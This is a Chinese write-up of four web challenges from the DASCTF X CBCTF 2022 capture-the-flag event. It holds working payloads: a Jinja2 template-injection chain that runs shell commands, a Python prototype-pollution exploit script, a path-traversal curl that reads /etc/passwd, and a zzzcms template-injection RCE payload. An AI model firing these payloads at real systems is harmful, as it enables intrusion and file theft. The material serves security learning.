【Web】DASCTF X CBCTF 2022九月挑战赛 题解

news2024/11/18 8:55:39

目录

dino3d 

Text Reverser 

cbshop

zzz_again


dino3d 

进来是一个js小游戏

先随便玩一下,显示要玩够1000000分

 

直接console改分数会被检测

 

先是JSFinder扫一下,扫出了check.php

到js里关键词索引搜索check.php

 搜索sn,发现传入的参数是score和checkCode

搜索checkCode 

 

搜索salt

 

import requests
from hashlib import md5
import time
target = "http://node5.buuoj.cn:27231/check.php"

headers = {
    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}


body = {
    "score": "10000000",
    "checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
    "tm": str((time.time()))[:10]
}


res = requests.post(target, headers=headers, data=body)
print(res.text)

 

 

Text Reverser 

先随便测试功能

测出有对SSTI的waf

 

给一段字符逆向脚本

s = "待逆向字符"
r = s[::-1]
print(r)

 {% print(7*7)%}

 

{%print ''.__class__.__bases__[0].__subclasses__()%}

 

 

找到os在132索引处

{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tail /flag').read()%}

 

cbshop

 

先随便登录一下 ,有10元,但flag要11元

 拿到附件审源码

flag位置在了/flag

 

admin信息 

 

直接放控制台运行

 

成功以admin登录  

 

 现在钱是够够的了 

 但还是不能直接买flag

 

回头看源码,有这样一段逻辑

 

需要user.token属性为true

但代码中并没有定义token

 

可以在buyApi中利用assign打原型链污染

 先令user.username为__proto__,污染Object.token属性

{"name": "/flag", "id": 2, "token": true}

 打入污染

 再以admin登录,去买flag,发现还是有限制要绕(就是传入的json数据不能包含flag关键字)

 

使用URL 实例可以正常读取文件,将 flag 进行url编码从而绕过

import requests
session = requests.Session()

url = "http://d6b2d3d7-8768-4eac-9cbb-f2f2be45b4ff.node5.buuoj.cn:81/" # 题目url

def login():
    data = {
        "username": "admin",
        "password": "\uDE00admi"
    }
    session.post(url + "login", json = data)

def changeUsername():
    data = { "username": "__proto__" }
    session.post(url + "changeUsername", json = data)

def buyFlag():
    data = {
        "name":{
          "href": 'file:///fl%61g',
          "origin": 'null',
          "protocol": 'file:',
          "username": '',
          "password": '',
          "host": '',
          "hostname": '',
          "port": '',
          "pathname": '/fl%61g',
          "search": '',
          "searchParams": "URLSearchParams {}",
          "hash": ''
        },
        "id":2,
        "token":True
    }
    res = session.post(url + "buy", json = data)
    return res.text

if __name__ == '__main__':
    login()
    changeUsername()
    flag = buyFlag()
    print(flag)

 

zzz_again

 

 

XCTF高校挑战赛与zzzcms 2.1.4最新版前台RCE | Matrix 

经过验证可以进行一个任意文件的读,但不知道flag路径,走不下去 

curl -d "template=../../../../../../../../etc/passwd" -X POST http://node5.buuoj.cn:29834/search/

 

再去搜RCE的洞 

Vuls/zzzcms/zzzphp V2.1.0 RCE/zzzphp V2.1.0 RCE.md at main · metaStor/Vuls · GitHub 

直接照着打也打不通,高版本模板注入RCE入口的location估计不能是search了

进入解析模板

 解析location

当location=list时,跟进parserList 

 

最后进到parserListPage 

 

发现其是从url中接参,最后做一些简单的拼接并替换掉正在执行的模板文件

 

一顿逻辑走下来后发现没有waf,到此我们就可以成功得到恶意的模板文件

 

接着再来看parserIfLabel对模板文件是怎么处理的

 dangerkey有waf处理

 过掉waf后可以往下走到eval拼接命令执行

最终payload:

/?location=list&aaa={if:=strtolower("SYSTEM")("cat /f111l00g")}{end if}&aaa=111

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1610405.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

上古掌控安全的神-零:Spring Security5.x到Spring Security6.x的迁移

1. 本文概述 之前有写过一篇关于Spring Security的文章,但那已经是相对比较旧的版本了,就目前Spring Security6.0来说,这其中出现了不少的变动和更新,很多API的使用也是有不小的变化,所以我觉得有必要再写几篇文章学习…

OpenCV4.10使用形态运算提取水平线和垂直线

返回:OpenCV系列文章目录(持续更新中......) 上一篇:OpenCV的查找命中或未命中 下一篇:OpenCV4.9图像金字塔-CSDN博客 目标 在本教程中,您将学习如何: 应用两个非常常见的形态运算符(即膨胀和…

java/C#语言开发的医疗信息系统10套源码

java/C#语言开发的医疗信息系统10套源码 云HIS系统源码,云LIS系统源码,PEIS体检系统,手麻系统 源 码,PACS系统源码,微源预约挂号源码,医院绩效考核源码,3D智能导诊系统源码,ADR药物…

数据分析场景,连号相关业务

连号相关业务 业务场景:现在需要从a列一堆编号中,将连号范围在10以内的数据分别分成一组。 先看实先效果 演示的为db2数据库,需要含有窗口函数,或者可以获取到当前数据偏移的上一位数据 第一步:将A列数据正序第二步…

【笔试强训_Day06】

文章目录 1.字符串相乘 1.字符串相乘 题目链接 解题思路: 高精度乘法,注意要学会下面这种列式相乘的形式🍎 注意细节❗: ① 🍎 首先把列式相乘的数据都存放到数组中去, 然后再对数组中的数据进行取余进…

Web开发:ASP.NET CORE的前端demo(纯前端)

目录 一、建立项目 二、删除无用文件 三、样式添加 四、写一个登录页面 五、登录主界面 一、建立项目 二、删除无用文件 三、样式添加 将你的图片资源添加在wwwroot下方,例如pics/logo.png 四、写一个登录页面 将Privacy.cshtml改为 Forget.cshtml &#xff0…

喜报 | 英码科技顺利通过2023年度广东省工程技术研究中心认定

近日,广东省科学技术厅公示了2023年度广东省工程技术研究中心的名单,英码科技设立的“广东省人工智能与边缘计算工程技术研究中心”顺利通过2023年度广东省工程技术研究中心的认定;英码科技在边缘计算领域的技术创新能力、科技成果转化再次获…

452. 用最少数量的箭引爆气球[排序+贪心]

https://leetcode.cn/problems/minimum-number-of-arrows-to-burst-balloons/description/?envTypestudy-plan-v2&envIdtop-interview-150 题目描述 有一些球形气球贴在一堵用 XY 平面表示的墙面上。墙面上的气球记录在整数数组 points ,其中points[i] [xst…

ZooKeeper写数据流程

ZooKeeper写数据流程 初始化连接: 客户端初始化与 ZooKeeper 集群的连接,连接可以是 TCP 连接或者基于 UDP 的通信。客户端可以连接到集群中的任何一个节点。 查找 Leader: 当客户端发送写请求时,如果连接的节点不是 Leader&…

最新版frp将家里的nas机器内网穿透(含域名配置)

大家好,我是雄雄,欢迎关注微信公众号:雄雄的小课堂。 前言 最近,家里整了个nas,自此开始入坑nas,由于是黑群晖,所以没有带公网访问的功能,只能自己研究了。 好在之前用过frp,整过内网穿透&…

springboot+vue社区报修便民维修网站设计与实现

便民维修网站,主要的模块包括管理员;首页、个人中心、管理员管理、用户管理、维修人员管理、在线报修管理、联系客服管理、公司回访管理、基础数据管理、论坛管理、公告管理、轮播图信息,维修人员;首页、个人中心、维修人员评价管…

ViM-UNet:用于生物医学细分的 Vision Mamba

ViM-UNet:用于生物医学细分的 Vision Mamba 摘要IntroductionMethod and Experiments结果与讨论 ViM-UNet: Vision Mamba for Biomedical Segmentation 摘要 卷积神经网络(CNNs),尤其是UNet,是生物医学分割的默认架构…

springboot+java照相馆预约管理系统ssm

框架:ssm/springboot都有 jdk版本:1.8 及以上 ide工具:IDEA 或者eclipse 数据库: mysql 编程语言: java 前端:layuibootstrapjsp 详细技术:HTMLCSSJSjspspringmvcmybatisMYSQLMAVENtomcat 开发工具 IntelliJ IDEA: 一…

利用二维码定位技术实现桌面机器人简易定位方案(下篇)

目录 1、前言2、定位标签定义3、识别算法流程4、python编程4.1 查找三个回字定位点python4.2 根据三个定位点坐标位置关系,进行识别python4.3 根据实际坐标对当前图像进行矫正python4.4 计算物体的坐标值python 总结本篇对应python源码 1、前言 机械手臂尤其是工业…

vue全屏后下拉框失效

如图,vue页面有个全屏功能 问题:全屏后下拉菜单消失 解决:加个这个 :teleported"false"如果不行试试这个 :popper-append-to-body"false"ok我话说完

【1425】java 外籍人员管理系统Myeclipse开发mysql数据库web结构jsp编程servlet计算机网页项目

一、源码特点 java 外籍人员管理系统是一套完善的java web信息管理系统 采用serlvetdaobean,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式 开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff…

Mac M3 安装Ollama和llama3,本地部署LobeChat和刘皇叔聊三国!

OllamaLobeChat,本地部署聊天助手 Ollama安装下载OllamaOllama常用指令和链接运行OllamaAPI 交互Ollama基于Llama 3角色扮演 LobeChat安装首先安装docker安装LobeChat的docker 镜像和运行 Ollama安装 下载Ollama 网址:https://ollama.com/ 支持macOS、…

每日一题(L2-011):玩转二叉树--建树+层序遍历

与L2-006近乎相同&#xff0c;先建树&#xff0c;然后遍历 #include<bits/stdc.h> using namespace std; int in[35]; int pre[35]; typedef struct Tree{int num;Tree* left;Tree* right; }T;T * build(int in1,int in2,int pre1,int pre2){T * tnew T;t->numpre[pr…

代码优化实践之税率计算问题

开篇 今天的问题来自于《编程珠玑》第三章【数据决定程序结构】&#xff0c;这里提出了几条代码优化相关的原则&#xff0c;受益不浅。下面是提到的几条原则&#xff1a; 使用数组重新编写重复代码。冗长的相似代码往往可以使用最简单的数据结构——数组来更好的表述&#xff1…

JS-29-Promise对象

一、JavaScript的异步操作 在JavaScript的世界中&#xff0c;所有代码都是单线程执行的。 由于这个“缺陷”&#xff0c;导致JavaScript的所有网络操作&#xff0c;浏览器事件&#xff0c;都必须是异步执行。异步执行可以用回调函数实现&#xff1a; function callback() {c…